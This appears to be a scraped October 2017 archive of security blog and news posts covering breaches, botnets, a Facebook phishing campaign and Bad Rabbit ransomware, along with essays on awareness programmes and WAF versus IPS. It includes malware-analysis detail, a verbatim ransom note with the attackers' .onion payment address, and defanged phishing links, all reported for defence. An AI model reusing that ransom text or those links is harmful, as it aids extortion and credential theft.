Monthly Archives: October 2017

Cyber Security Roundup for October 2017

State-orchestrated cyber attacks have dominated the media headlines in October, with rogue state North Korea and its alleged 6,800 strong cyber force blamed for several cyber attacks. International intelligence scholars believe the North Korean leadership are using cyber warfare to up the political ante with their ongoing dispute with the United States. The North Koreans, as well as terrible security practices, were directly blamed by the UK National Audit Office for the recent NHS WannaCry attack (despite North Korea denying it). North Korea was also reported to be implicated in the stealing US War Plans from South Korea, and for a spear phishing campaign against the US Power Grid. The possible Russian manipulation of the US election with cyber attacks and rogue social media campaigns is still a story not going away, while the Chinese are alleged to be behind the data theft of Australian F-35 fighter jet, in what is described as an 'extensive' Cyberattack. The finger was pointed at Iran for the recent Parliamentary Emails cyber attacks in the UK, meanwhile, EU governments venting their cyber concern, warning that Cyber Attacks can be an Act of War.

Stephen Hawking caused controversy in both the science and tech industry last year when he said Artificial Intelligence could be a serious threat to human existence, could the plot of The Terminator really come to fruition? Perhaps so, as it was reported that AI had already defeated the Captcha Security Check system. Personally, I believe both AI and Quantum Computing will pose significant new threats to cybersecurity space in the next decade.

A far higher number of personal records were compromised in the Equifax data breach than was previously thought, with millions of UK citizens confirmed to be impacted by the US-based credit checking agency hack. Equifax’s now ex-CEO provided an interesting blow-by-blow account of the cyber-attack at a US government hearing, even though Equifax technical staff were specifically warned about a critical Apache Struts (web server) patch, it was ignored and not applied, which in turn allowed hackers to take full advantage of vulnerability to steal the Equifax data on mass. To make matters even worse, the Equifax consumer breach help website was found to be infecting visitors with spyware.

Yahoo revealed all 3 Billion of its user accounts had in fact been breached, in what is truly an astonishing mammoth sized hack, biggest in all history, so far. Elsewhere on the commercial hacking front, Pizza Hut's website was reported to be hacked with customer financial information taken, and Disqus said a 2012 breach it discovered in October exposed the information of 17.5 million its users from as far back as 2007.

It was a super busy month for security vulnerability notifications and patch releases, with Microsoft, Netgear, Oracle, Google, and Apple all releasing rafts of critical level patches. A serious weakness in the wireless networking WPA2 protocol was made public to great fanfare after researchers suggested all Wifi devices using WPA2 on the planet were vulnerable to an attack called Krack, which exploited the WPA2 weakness. Krack is a man-in-the-middle attack which allows an attacker to eavesdrop or redirect users to fake websites over Wifi networks secured using the WPA2 protocol. At the time of writing most wireless access point vendors and operating system providers had released patches to close the WPA2 vulnerability, and there have been no known exploits of the vulnerability reported in the wild.

BadRabbit is a new strain of ransomware which is emerging and is reported to be infecting systems and networks in Russia and the Ukraine at the moment. BadRabbit is the latest network self-propagating malware, like NotPeyta and WannaCry, to use the NSA EternalRomance hacking tool. A massive new IoT botnet was discovered, its continued growth is fuelled by malware said to be more sophisticated than previous IoT botnet king, Mirai. Russian based threat actor group APT28 is said to be targeting the exploitation of a recently patched Adobe vulnerability (CVE-2017-11292), in using malicious Microsoft Word attachment, so ensure you keep on top of your system patching and always be careful when opening email attachments. 

Finally, the UK National Cyber Security Centre (NCSC) released its first annual report, as it seeks to improve cybersecurity across the UK. Among NCSC achievements cited in the report are:
  • The launch of Active Cyber Defence, credited with reducing average time a phishing site is online from 27 hours to 1 hour
  • Led UK response to WannaCry
  • Advice website with up to 100,000 visitors per month
  • Three-day Cyber UK Conference in Liverpool
  • 43% increase in visits to the Cyber Security Information Sharing Partnership (CiSP)
  • Produced 200,000 physical items for 190 customer departments via UK Key Production authority to secure and protect communications of Armed Forces and national security
  • 1,000 youngsters on CyberFirst courses and 8,000 young women on CyberFirst Girls competition.
  • Worked with 50 countries, including signing Nato's MoU

Hack Naked News #147 – October 31, 2017

Michael Santarcangelo discusses platform security architecture, Kaspersky, the Cyber Peace Corps, and more with Jason Wood on this episode of Hack Naked News!Full Show Notes:

Visit for all the latest episodes!

→Visit our website:

→Follow us on Twitter:

→Like us on Facebook:

Bogus porn blackmail attempt from

This blackmail attempt is completely bogus, sent from a server belonging to the domain. From:    Hannah Taylor [] Reply-To: To:    contact@victimdomail.tld Date:    31 October 2017 at 15:06 Subject:    ✓ Tiскеt ID: DMS-883-97867 [contact@victimdomail.tld] 31/10/2017 03:35:54 Maybe this will change your life Signed

Design For Behavior, Not Awareness

October was National Cybersecurity Awareness Month. Since today is the last day, I figured now is as good a time as any to take a contrarian perspective on what undoubtedly many organizations just did over the past few weeks; namely, wasted a lot of time, money, and good will.

Most security awareness programs and practices are horrible BS. This extends out to include many practices heavily promoted by the likes of SANS, as well as the current state of "best" (aka, failing miserably) practices. We shouldn't, however, be surprised that it's all a bunch of nonsense. After all, awareness budgets are tiny, the people running these programs tend to be poorly trained and uneducated, and in general there's a ton of misunderstanding about the point of these programs (besides checking boxes).

To me, there are three kinds of security awareness and education objectives:
1) Communicating new practices
2) Addressing bad practices
3) Modifying behavior

The first two areas really have little to do with behavior change so much as they're about communication. The only place where behavior design comes into play is when the secure choice isn't the easy choice, and thus you have to build a different engagement model. Only the third objective is primarily focused on true behavior change.

Awareness as Communication

The vast majority of so-called "security awareness" practices are merely focused on communication. They tell people "do this" or "do that" or, when done particularly poorly, "you're doing X wrong idiots!" The problem is that, while communication is important and necessary, rarely are these projects approached from a behavior design perspective, which means nobody is thinking about effectiveness, let alone how to measure for effectiveness.

Take, for example, communicating updated policies. For example, maybe your organization has decided to revise its password policy yet again (woe be to you!). You can undertake a communication campaign to let people know that this new policy is going into effect on a given date, and maybe even explain why the policy is changing. But, that's about it. You're telling people something theoretically relevant to their jobs, but not much more. This task could be done just as easily be your HR or internal communication team as anyone else. What value is being added?

Moreover, the best part of this is that you're not trying to change a behavior, because your "awareness" practice doesn't have any bearing on it; technical controls do! The password policy is implemented in IAM configurations and enforced through technical controls. There's no need for cognition by personnel beyond "oh, yeah, I now have to construct my password according to new rules." It's not like you're generally giving people the chance to opt out of the new policy, and there's no real decision for them to make. As such, the entire point of your "awareness" is communicating information, but without any requirement for people to make better choices.

Awareness as Behavior Design

The real role of a security awareness and education program should be on designing for behavior change, then measuring the effectiveness of those behavior change initiatives. The most rudimentary example of this is the anti-phishing program. Unfortunately, anti-phishing programs also tend to be horrible examples because they're implemented completely wrong (e.g., failure to benchmark, failure to actually design for behavior change, failure to get desired positive results). Yes, behavior change is what we want, but we need to be judicious about what behaviors we're targeting and how we're to get there.

I've had a strong interest in security awareness throughout my career, including having built and delivered awareness training and education programs in numerous prior roles. However, it's only been the last few years that I've started to find, understand, and appreciate the underlying science and psychology that needs to be brought to bear on the topic. Most recently, I completed BJ Fogg's Boot Camp on behavior design, and that's the lens through which I now view most of these flaccid, ineffective, and frankly incompetent "awareness" programs. It's also what's led me to redefine "security awareness" as "behavioral infosec" in order to highlight the importance of applying better thinking and practices to the space.

Leveraging Fogg's models and methods, we learn that Behavior happens when three things come together: Motivation, Ability, and a Trigger (aka a prompt or cue). When designing for behavior change, we must then look at these three attributes together and figure out how to specifically address Motivation and Ability when applying/instigating a trigger. For example, if we need people to start following a better, preferred process that will help reduce risk to the organization, we must find a way to make it easy to do (Ability) or find ways to make them want to follow the new process (Motivation). Thus, when we tell them "follow this new process" (aka Trigger), they'll make the desired choice.

In this regard, technical and administrative controls should be buttressed by behavior design whenever a choice must be made. However, sadly, this isn't generally how security awareness programs view the space, and thus just focus on communication (a type of Trigger) without much regard for also addressing Motivation or Ability. In fact, many security programs experience frustration and failure because what they're asking people to do is hard, which means the average person is not able to do what's asked. Put a different way, the secure choice must be the easy choice, otherwise it's unlikely to be followed. Similarly, research has shown time and time again that telling people why a new practice is desirable will greatly increase their willingness to change (aka Motivation). Seat belt awareness programs are a great example of bringing together Motivation (particularly focused on negative outcomes from failure to comply, such as reality of death or serious injury, as well as fines and penalties), Ability (it's easy to do), and Triggers to achieved a desired behavioral outcome.

Overall, it's imperative that we start applying behavior design thinking and principles to our security programs. Every time you ask someone to do something different, you must think about it in terms of Motivation and Ability and Trigger, and then evaluate and measure effectiveness. If something isn't working, rather than devolving to a blame game, instead look at these three attributes and determine if perhaps a different approach is needed. And, btw, this may not necessarily mean making your secure choice easier so much as making the insecure choice more difficult (for example, someone recently noted on twitter that they simply added a wait() to their code to force deprecation over time)

Change Behavior, Change Org Culture

Another interesting aspect of this discussion on behavior design is this: organizational culture is the aggregate of behaviors and values. That is to say, when we can change behaviors, we are in fact changing org culture, too. The reverse, then, is also true. If we find bad aspects of org culture leading to insecure practices, we can then factor those back into the respective behaviors, and then start designing for behavior change. In some cases, we may need to break the behaviors into chains of behaviors and tackle things more slowly over time, but looking at the world through this lens can be quite enlightening. Similarly, looking at the values ensconced within org culture also let's us better understand motivations. People generally want to perform their duties, and do a reasonably decent job at it. This is generally how performance is measured, and those duties and performance measures are typically aligned against outcomes and - ultimately - values.

One excellent lesson that DevOps has taught us (there are many) is that we absolutely can change how the org functions... BUT... it does require a shift in org culture, which means changing values and behaviors. These sorts of shifts can be done either top-down or bottom-up, but the reality is that top-down is much easier in many regards, whereas bottom-up requires that greater consensus and momentum be built to achieve a breakthrough.

DevOps itself is cultural in nature and focuses heavily on changing behaviors, ranging from how dev and ops function, to how we communicate and interact, and so on. Shortened feedback loops and creating space for experimentation are both behavioral, which is why so many orgs struggle with how to make them a reality (that is, it's not simply a matter of better tools). Security absolutely should be taking notes and applying lessons learned from the DevOps movement, including investing in understanding behavior design.

To wrap this up, here are three quick take-aways:

1) Reinvent "security awareness" to be "behavioral infosec" toward shifting to a behavior design approach. Behavior design looks at Motivation, Ability, and Triggers in affecting change.

2) Understand the difference between controls (technical and administrative) and behaviors. Resorting to basic communication may be adequate if you're implementing controls that take away choices. However, if a new control requires that the "right" choice be made, you must then apply behavior design to the project, or risk failure.

3) Go cross-functional and start learning lessons from other practice areas like DevOps and even HR. Understand that everything you're promoting must eventually tie back into org culture, whether it be through changes in behavior or values. Make sure you clearly understand what you're trying to accomplish, and then make a very deliberate plan for implementing changes while addressing all appropriate objectives.

Going forward, let's try to make "cybersecurity awareness month" about something more than tired lines and vapid pejoratives. It's time to reinvent this space as "behavioral infosec" toward achieving better, measurable outcomes.

‘Reaper’ Botnet – A DDoS Trick or Treat?

Researchers have discovered a massive new botnet, dubbed ‘Reaper’ or ‘IoTroop’, targeting poorly-defended IoT devices to form a ‘zombie army’ of devices that could rock the entire Internet with a powerful DDoS attack. The botnet has reportedly already infected tens of thousands of devices across the globe and is said to have the potential to be even more powerful than the Mirai botnet that launched one of the most impactful cyberattacks of all time. An additional 2 million hosts have been identified, but not yet recruited by the botnet. Unlike Mirai, which works by scanning for and hijacking IoT devices with weak user name or password protection, the Reaper exploits integral vulnerabilities and turns infected devices into botnets that could potentially launch massive Distributed Denial of Service (DDoS) attacks.

Corero’s Security Operations Center has confirmed the spread of Reaper infected machines, to support the latest research. However, this should come as no surprise given that many IoT devices are poorly architected from a security perspective; they are prime targets for hacker infiltration and takeover. Aside from the personal privacy and security concerns that result from these security gaps, the bigger danger is that these connected devices can be harnessed by hackers for a variety of nefarious purposes including to launch dangerous DDoS attacks.

While IoT botnets are typically mobilized for use in DDoS attacks, Corero has yet to see evidence of these attacks in the wild. Industry experts predict that this botnet is intended for various DDoS booter services, available on the Dark Web.

Attackers are becoming more creative and using new techniques to wreak havoc with IoT botnets. These botnets can be rented for any duration, size and scale that the attacker pleases – and aimed at any target. So, it’s probably only a matter of time before the ‘Reaper’ botnet is launched for serious DDoS attacks. So, what exactly can organization do to protect their networks and customers from such attacks?

The sheer volume of devices involved poses a serious challenge. After all, any device that has an Internet connection and a processor can be exploited. For this reason, effective DDoS protection requires both instantaneous visibility into DDoS events, real-time mitigation as well as long-term trend analysis to identify changes in the DDoS landscape and deliver proactive detection and mitigation.

No one can control the security of IoT devices that they don’t own, but you can control your own protection against IoT DDoS attacks by implementing always-on, automated DDoS protection solution, which can monitor all traffic in real-time, negate the flood of attack traffic at the Internet edge, eliminate service outages and allow security personnel to focus on uncovering any subsequent malicious activity, before any damage has occurred. In addition, telecoms, as internet connectivity and managed security service providers, are more obligated than ever to protect both their networks and their customers, particularly with the modern technology available for them to do so.

For more information, please contact us.

Facebook Phishing Targeted iOS and Android Users from Germany, Sweden and Finland

Two weeks ago, a co-worker received a message in Facebook Messenger from his friend. Based on the message, it seemed that the sender was telling the recipient that he was part of a video in order to lure him into clicking it.

Facebook Messenger message and the corresponding Facebook Page

The shortened link was initially redirecting to, but was later on changed to redirect to yet another shortened link –

Changes in the Picsee short link

The shortened link supported two types of redirection links – original link and smart links. If the device that accessed the URL was running in iOS or Android, it was redirected to the shortened link, otherwise it was redirected to

The short link with the smart links

So for the iOS and Android users, they were served with the following phishing page:

Phishing page for short link

For the rest of the devices, the users ended up with the link that went through several redirections which eventually led to That page contained an ad-affiliate URL which redirected to, a mobile advertising company.

Phishing page’s ad-affiliate URL

Based on the data from the links, the campaign began last October 15th when it targeted mostly Swedish users. On the 17th, it moved to targeting Finnish users. Then from 19th onwards, it mostly went after German users.

The total number of clicks for the entire campaign reached almost 200,000, where close to 80% of the visitors were from Germany, Sweden and Finland.

Statistics from tracking page

The campaign ran for two weeks with a main motive of stealing Facebook credentials from iOS and Android users. The cybercriminals used those stolen credentials to spread the malicious links, and subsequently gather more credentials. However, while in the process of stealing the credentials, the cybercriminals also attempted to earn from other non-iOS and non-Android users through ad-fraud.

This practice of using email addresses in place of unique names as account credentials creates a big opportunity for phishers. Just by launching this Facebook phishing campaign, they can mass harvest email and password credentials that are later on used for secondary attacks such as gaining access to other systems or services that could have a bigger monetary value because of password reuse.

We highly recommend the affected users to change their passwords as soon as possible, including other systems and services where the same compromised password was used.


  • hxxp://lnk[.]pics/19S3Y
  • hxxp://lnk[.]pics/18JDK
  • hxxp://lnk[.]pics/196OV
  • hxxp://lnk[.]pics/18XH7
  • hxxp://lnk[.]pics/196PN
  • hxxp://lnk[.]pics/19LBP
  • hxxp://lnk[.]pics/18YZV
  • hxxp://lnk[.]pics/18QZW
  • hxxp://lnk[.]pics/196PA
  • hxxp://lnk[.]pics/19XK7
  • hxxp://lnk[.]pics/18HFX
  • hxxp://lnk[.]pics/19S3L
  • hxxp://lnk[.]pics/18J7S
  • hxxp://lnk[.]pics/19XKF
  • hxxp://lnk[.]pics/19K94
  • hxxp://lnk[.]pics/19LBW
  • hxxp://pics[.]ee/188g7
  • hxxp://pics[.]ee/18cdl
  • hxxp://po[.]st/ORyChA
  • hxxp://smarturl[.]it/02xuof
  • hxxp://utm[.]io/290459
  • hxxp://at.contenidoviral[.]net

Incremental "Gains" Are Just Slower Losses

Anton Chuvakin and I were having a fun debate a couple weeks ago about whether incremental improvements are worthwhile in infosec, or if it's really necessary to "jump to the next curve" (phrase origin: Guy Kawasaki's "Art of Innovation," watch his TedX) in order to make meaningful gains in security practices. Anton even went so far as to write about it a little over a week ago (sorry for the delayed response - work travel). As promised, I feel it's important to counter his arguments a bit.

Anton started by asking, "[Can] you really jump to the "next curve" in security, or do you have to travel the entire journey from the old ways to the cutting edge?"

Of course, this is a sucker's question, and it belies misunderstanding the whole "jump to the next curve" argument, which was conceived by Kawasaki in relation to innovation, but can be applied to strategy in general. In speaking of the notion, Kawasaki says "True innovation happens when a company jumps to the next curve-or better still, invents the next curve, so set your goals high." And this, here, is the point of arguing for organizations to not settle for incremental improvements, but instead to aim higher.

To truly understand this notion in context, let's first think about what would be separate curves in a security practice vertical. Let's take Anton's example of SOCs, SIEM, log mgmt, and threat hunting. To me, the curves might look like this:
- You have no SOC, SIEM, log mgmt
- You start doing some logging, mostly locally
- You start logging to a central location and having a team monitor and manage
- You build or hire a SOC to more efficiently monitor and respond to alerts
- You add in stronger analytics, automation, and threat hunting capabilities

Now, from a security perspective, if you're in one of the first couple stages today (and a lot of companies are!), then a small incremental improvement like moving to central logs might seem like a huge advance, but you'd be completely wrong. Logically, you're not getting much actual risk reduction by simply dumping all your logs to a central place unless you're also adding monitoring, analytics, and response+hunting capabilities at the same time!

In this regard, "jump to the next curve" would likely mean hiring an MSSP to whom you can send all your log data in order to do analytics and proactive threat hunting. Doing so would provide a meaningful leap in security capabilities and would help an organization catch-up. Moreover, even if you spent a year making this a reality, it's a year well-spent, whereas a year spent simply enabling logs without sending them to a central repository for meaningful action doesn't really improve your standing at all.

In Closing

In the interest in keeping this shorter than usual, let's just jump to the key takeaways.

1) The point of "jump to the next curve" is to stop trying to "win" through incremental improvements of the old and broken, instead leveraging innovation to make up lost ground ground by skipping over short-term "gains" that cost you time without actually gaining anything.

2) The farther behind you are, the more important it is to look for curve-jumping opportunities to dig out of technical debt. Go read DevOps literature on how to address technical debt, and realize that with incremental gains, you're at best talking about maintaining your position, not actually catching up. Many organizations are far behind today and cannot afford such an approach.

3) Attacks are continuing to rapidly evolve, which means your resilience relies directly on your agility and ability to make sizable gains in a short period of time. Again, borrowing from DevOps, it's past time to start leveraging automation, cloud services, and agile techniques to reinvent the security program (and, really, organizations overall) to leap out of antiquated, ineffective practices.

4) Anton quipped that "The risks with curve jumping are many: you can jump and miss (wasting resources and time) or you can jump at the wrong curve or you simply have no idea where to jump and where the next curve is." To a degree, yes, this is true. But, in many ways, for organizations that are 5-10 years behind in practices (again, this applies to a LOT of you!), we know exactly where you should go. Even Gartner advice can be useful in this regard! ;) The worst thing you can do is decide not to take an aggressive approach to getting out of technical security debt for fear of choosing the "wrong" path.

5) If you're not sure where the curves are, here's a few suggestions:
- Identity as Perimeter - move toward Zero Trust, heavily leveraging federated identity/IDaaS
- Leverage an MSSP to central manage and monitor log data, including analytics and threat hunting
- Automate, automate, automate! You don't need to invest in expensive security automation tools. You can do a lot with general purpose IT automation tools (like Ansible, Chef, Puppet, Jenkins, Travis, etc.). If you think you need a person staring a dashboard, clicking a button when a color changes, then I'm sorry to tell you that this can and should be automated.
- If your org writes code, then adopt DevOps practices, getting a CI/CD pipeline built, with appsec testing integrated and automated.
- Heavily leverage cloud services for everything!

Good luck, and may the odds be ever in your favor! :)

The big difference with Bad Rabbit

Bad Rabbit is the new bunny on the ransomware scene. While the security community has concentrated mainly on the similarities between Bad Rabbit and EternalPetya, there’s one notable difference which has not yet gotten too much attention. The difference is that Bad Rabbit’s disk encryption works.

EternalPetya re-used the custom disk encryption method from the original Petya. Although it didn’t implement the actual ECDH key delivery mechanism, it installed the Petya boot loader, and effectively just rendered the machine useless.

Petya’s disk encryption had one specific weakness: it only encrypted some parts of the key file system structures, not the whole disk. This design obviously lead to speculations about whether it is possible to recover the disk using a known clear-text attack, and in fact researchers have made significant progress in investigating this recovery technique.

At least on the surface, things look quite different with Bad Rabbit. Instead of using a custom encryption mechanism, it follows the current trend in the ransomware community of leveraging known legitimate encryption tools.

Bad Rabbit uses DiskCryptor, a full disk partition encryption software for locking the user disk. The ransomware ships with an unmodified DiskCryptor driver (borrowed from ReactOS) and implements relevant parts of the DiskCryptor user-mode code for communicating with the driver. The ReactOS driver is a signed, valid driver, so it gets loaded by the Windows cleanly with the elevated privileges required by Bad Rabbit’s fake Flash installer dropper.

Key generation

Bad Rabbit uses Windows’ crypto API to generate random key data for the disk encryption. This key data is converted to a human-readable encryption key, which is a 32-bytes long ASCII encoded string, presenting around 165 bits of entropy for the stream cipher AES used by DiskCryptor.

The following screenshot represents the random disk encryption key as it is being generated by the malware:


Running dispci.exe under user-mode debugger

Along with the random key, Bad Rabbit packages some other information like the victim computer name and domain, then forms the so-called installation key that will be presented after the reboot. In Petya, this code was relatively short code that was protected by the public EC key. In Bad Rabbit, it is a much longer blob of data that is protected by the RSA public key shipped with the malware installer.

After packaging the installation key, the random key data is just discarded. The installation key is written to the disk so that the Bad Rabbit boot loader can present it on the boot screen:


Bad Rabbit’s boot loader

The user is expected to grab the installation key from the boot screen, paste it to the attacker’s TOR site, which then will use its own private RSA key to extract the 32-bytes password (typed in the screenshot above).

After the boot screen

Because the disk encryption software used is pretty much similar to any other disk encryption used by businesses around the globe, like TrueCrypt or Microsoft BitLocker, the disk is in fact *still* encrypted, although it has been mounted by the DiskCryptor driver transparently.

So if the user now reboots the machine, the same password prompt will be presented as long as the disk decryption routine is initiated. The DECRYPT tool referenced by the boot loader is actually just a shortcut to the dispci.exe tool dropped by the malware. This tool borrows code from legit DiskCryptor sources for implementing the relevant parts of the code for communicating with the disk encryption driver.

Even though all this is quite apparent by just looking at the code, we wanted to demonstrate the encryption scheme by catching the password inline, at the time it was generated by Bad Rabbit. When this password is used for unlocking the machine, it is possible to install the real DiskCryptor GUI tool and initiate the disk decryption process.


Using DiskCryptor to verify encrypted volume

DiskCryptor identifies the disk presented by the virtual machine (QEMU HARDDISK in the above screenshot) as an AES-encrypted volume, and accepts the random password.

It works now

We have speculated before that the flawed disk encryption in EternalPetya was due to problems in the malware development process. Or it may be that they just didn’t care. People will pay anyways, right?

Whatever was the reason, they have now fixed this issue (if they are the same group of malware developers, which seems to be the consensus in the research community).

At least the developers of Bad Rabbit have noted the recent developments in research on Petya’s disk encryption weaknesses and decided to use something different.

Recovery considerations

As we have demonstrated in this blog post, Bad Rabbit seems to use a sound principle in its disk encryption, a full disk encryption scheme familiar to all businesses.

We don’t yet have the full details of this scheme, so there might be bugs in the implementation. But at least its design enables a strong mechanism for locking the machine until the correct password is really typed to the boot screen.


For screenshots used in this blog post, we DID NOT go to the attacker TOR site and pay for the recovery key.

The procedures presented in this text DO NOT mean there’s an easy way to unlock the disk protected by the Bad Rabbit. We just present them as proof of the encryption scheme. Catching the password inline to the encryption process is not practical in a general sense, because it requires software that is aware of the exact password generation mechanism prior to the infection. It is used here just for a relatively easily reproducible proof-of-concept.

Following The Bad Rabbit

On October 24th, media outlets reported on an outbreak of ransomware affecting various organizations in Eastern Europe, mainly in Russia and Ukraine. Identified as “Bad Rabbit”, initial reports about the ransomware drew comparisons with the WannaCry and NotPetya (EternalPetya) attacks from earlier this year. Though F-Secure hasn’t yet received any reports of infections from our own customers, we’re actively investigating. And while the investigation is still ongoing, initial results from our analysis did find similarities between Bad Rabbit and the NotPetya ransomware that hit companies late last June.

We think there’s good evidence that suggests the same person or group is responsible for both last June’s NotPetya attacks and what we’re seeing now with Bad Rabbit. Malware authors often learn from what works, so finding the same characteristics in different families is not uncommon. But the similarities we’re seeing here are too much to be just one attacker copying another.

Without getting too technical, here’s a handful of the similarities between NotPetya and Bad Rabbit:

  • Overall code structure is similar
  • File encryption code is VERY similar
  • Similar method of checking existing processes and encrypting files
  • Similar method used to reboot computers
  • Same trick used to launch the malware’s main component as a DLL
  • Identical code used to parse the command line
  • Similar propagation methods, including an identical “library” of other computers found in the network, and use of Mimikatz to gather credentials
  • Out of 113 file extensions used by BadRabbit, 65 are shared with NotPetya (Bad Rabbit has an additional 48)

There are also some notable differences between the two, including:

  • Bad Rabbit doesn’t use EternalBlue/EternalRomance exploit
  • Bad Rabbit doesn’t use PsExec to spread
  • Bad Rabbit also encrypts “home user” files, such as .jpgs
  • Bad Rabbit adds “.encrypted” to the contents of affected files (NotPetya didn’t do this, making it harder to distinguish between encrypted and non-encrypted files)
  • Bad Rabbit’s infection vector is via compromised websites. While NotPetya was reported to be via MeDoc
  • Bad Rabbit brute-forces using a set of predefined credentials to available SMB shares
  • The list of process hashes to be compared to are different from NotPetya. NotPetya compares against Symantec and Kaspersky processes, while Bad Rabbit compares against McAfee and DrWeb

Like NotPetya, Bad Rabbit will display the two ransom note – one for MBR encryption.

Bad Rabbit Message

And a text note for file encryption.

Oops! Your files have been encrypted.

If you see this text, your files are no longer accessible.
You might have been looking for a way to recover your files.
Don't waste your time. No one will be able to recover them without our
decryption service.

We guarantee that you can recover all your files safely. All you
need to do is submit the payment and get the decryption password.

Visit our web service at caforssztxqzf2nm.onion

Your personal installation key#2: [REDACTED]

Users are directed to pay the ransom at a specified payment site, which also provides the amount of the ransom to be paid.

Bad Rabbit Payment Site

A threat description of the Bad Rabbit ransomware is available at Trojan:W32/Rabbad and will be updated as and when more details are confirmed.

In the meantime… our endpoint protection products have a variety of measures baked in that prevent Bad Rabbit infections.

Edited to update: Struckthrough EternalRomance mention above. We have verified the same observations as Cisco Talos Security about EternalRomance exploited by Bad Rabbit.

VirusTotal += Cybereason

We welcome Cybereason scanner to VirusTotal. In the words of the company:

“Cybereason has developed a comprehensive platform to manage risk, including endpoint detection and response (EDR) and next generation antivirus (NGAV). Cybereason’s NGAV solution is underpinned by a proprietary machine learning (ML) anti-malware engine that was built and trained to block advanced attacks such as never-before-seen malware, ransomware, and fileless malware. The cloud-enabled engine conducts both static binary analysis and dynamic behavioral analysis to increase detection of known and unknown threats. Files submitted to VirusTotal will be analyzed by Cybereason’s proprietary ML anti-malware engine and the rendered verdicts will be available to VirusTotal users.”

Cybereason has expressed its commitment to follow the recommendations of AMTSO and, in compliance with our policy, facilitates this review by SE Labs, an AMTSO-member tester.

Hands-on: The Purism Librem 15 builds serious security into a slender laptop

The Librem 15 laptop, from the privacy and freedom-oriented Linux PC maker Purism, aims to be the answer for those who want ultimate data protection. After taking this laptop for a long spin, I can safely say it delivers thoroughly on security and privacy—though not surprisingly, at the expense of other features. 

Stealth looks

purism librem 15v3 left side ports Alex Campbell

The slim and sleek design comes without obvious logos.

To read this article in full, please click here

Updated 3NT Solutions LLP / / IP ranges

When I was investigating IOCs for the recent outbreak of BadRabbit ransomware I discovered that it downloaded from a domain hosted on This IP belongs to a company called 3NT Solutions LLP that I have blogged about before. It had been three-and-a-half years since I looked at their IP address ranges so I thought I would give them a refresh. My personal recommendation

Botnets Growing, via Reaper and Sockbot Malware

Thus far, the largest DDoS attack ever (estimated at 1.2 Tbps) was powered by 100,000 enslaved bots, but that number could be eclipsed by even larger botnets that are recently being formed. In the past week security researchers have identified not one, but two malware types that infect devices to enslave them into IoT botnets: the Reaper, and Sockbot.

Several days ago Symantec researchers discovered the Sockbot malware on eight different apps in the Google Apps Store; Google has since removed those apps from its store. The Sockbot Android malware is so named because it connects to a command and control (C&C) server on port 9001, and the server requests the app to open a socket using SOCKS and wait for a connection.

Meanwhile, the Israeli security firm Check Point Technologies discovered “IoTroop,” another IoT malware that is recruiting vulnerable IoT devices into a botnet army that is spreading rapidly around the world and could soon be deployed in DDoS attacks. Other security firms have named it “Reaper.” It contains some code that is found in the Mirai botnet code that was unleashed in several massive DDoS attacks in late 2016, but it is reportedly more complex and powerful than Mirai. According to Wired magazine, “while Reaper hasn’t been used for the kind of distributed denial of service attacks that Mirai and its successors have launched, that improved arsenal of features could potentially allow it to become even larger—and more dangerous—than Mirai ever was.” The malware infects a device, and then the device itself searches for other vulnerable devices that could be recruited into the botnet.

What does this mean for network security staff? Beware the possibility of even larger DDoS attacks in the near future. What can be done to prevent attacks? Fighting off DDoS attacks must be a team effort;

  1. IoT device owners should make sure that they reset the default passwords that come with the devices
  2. Manufacturers should build better security features into their products
  3. Internet service providers must leverage their ability to detect spoofed IP addresses and block malicious traffic at ingress, by deploying automated, real-time DDoS protection. In doing so, ISPs could reduce the number and intensity of DDoS attacks by at least an order of magnitude.

For more information, contact us.

Hack Naked News #146 – October 24, 2017

Kaspersky has “nothing to hide”, the internet wants YOU, OS X malware runs rampant, WHOIS database slip-ups, and more. Jason Wood discusses an attack on critical US infrastructure on this episode of Hack Naked News!Full Show Notes:

Visit for all the latest episodes!


→Visit our website:

→Follow us on Twitter:

→Like us on Facebook:

How to prevent data loss with Windows Information Protection

Information that belongs to someone and has the potential to be very impactful to that person or organization needs to be protected in this day and age. Finding that information in the wrong hands can have severe negative implications and consequences. You need look no further than recent headlines to see the devastating consequences that information leakage can have, from Edward Snowden and the NSA to John Podesta and the Democratic National Committee.

Shops that primarily use Windows on the client side have a ready-made answer: Windows Information Protection (WIP) is a data loss prevention technology that looks for information classified as impactful to a business as well as for keywords that indicate sensitive information is potentially being passed outside the corporate security boundary. It then creates a plan to stop or mitigate that leakage.

To read this article in full, please click here

(Insider Story)

WAF and IPS. Does your environment need both?

WAF and IPS. Does your environment need both?

I have been in fair amount of discussions with management on the need for WAF, and IPS; they often confuse them and their basic purpose. It has been usually discussed after a pentest or vulnerability assessment, that if I can't fix this vulnerability - shall I just put an IPS or WAF to protect the intrusion/ exploitation? Or, sometimes they are considered as the silver bullet to thwart off the attackers instead of fixing the bugs. So, let me tell you - This is not good!

The security products are well suited to protect from something "unknown" or something that you have "unknowingly missed". It is not a silver bullet or an excuse to keep systems/ applications unpatched.

Security shouldn't be an AND/OR case. More the merrier only if they have been configured properly and each one of the product(s) has a different role to play under the flag of defense in depth! So, while I started this article as WAF vs. IPS - it's time to understand it's WAF and IPS. The ecosystem of your production environment is evolving and so is the threat landscape - it's more complex to protect than it was 5 years ago. Attackers are running at your pace, if not faster & a step ahead. These adversary as well piggy-back existing threats to launch their exploits. Often something that starts as simple as DDOS to overwhelm your networks, concedes in an application layer attack. So, network firewall, application firewall, anti-malware, IPS, SIEM etc. all have an important task and should be omnipresent with bells and whistles!

Nevertheless, whether it's a WAF or an IPS; each has it's own purpose and though they can't replace each other, they often have gray areas under which you can rest your risks. This blog will try to address these gray areas, and the associated differences to make life easier when it comes to WAF (Web Application Firewall) or IPS (Intrusion Prevention System). The assumption is both are modern products, and the IPS have deep packet inspection capabilities. Now, let's try to understand the infrastructure, environment and scope of your golden eggs before we can take a call which is the best way to protect the data,

  1. If you are protecting only the "web applications" running on HTTP sockets, then WAF is enough. IPS will be cherry on cake.
  2. If you are protecting all sorts of traffic - SSH, FTP, HTTP etc. then WAF is of less use at it can't inspect non HTTP traffic. I would recommend having a deep packet inspection IPS.
  3. WAF must not be considered as an alternative for traditional network firewalls. It works on the application layer and hence is primarily useful on HTTP, SSL (decryption), Javascript, AJAX, ActiveX, Session management kind of traffic.
  4. A typical IPS does not decrypt SSL traffic, and therefore is insufficient in packet inspection on HTTPS session.
  5. There is wide difference in the traffic visibility and base-lining for anomalies. While WAF has an "understanding" of traffic - HTTP GET, POST, URL, SSL etc. the IPS only understands it as network traffic and therefore can do layer 3/4 checks - bandwidth, packet size, raw protocol decoding/ anomalies but not the GET/ POST or session management.
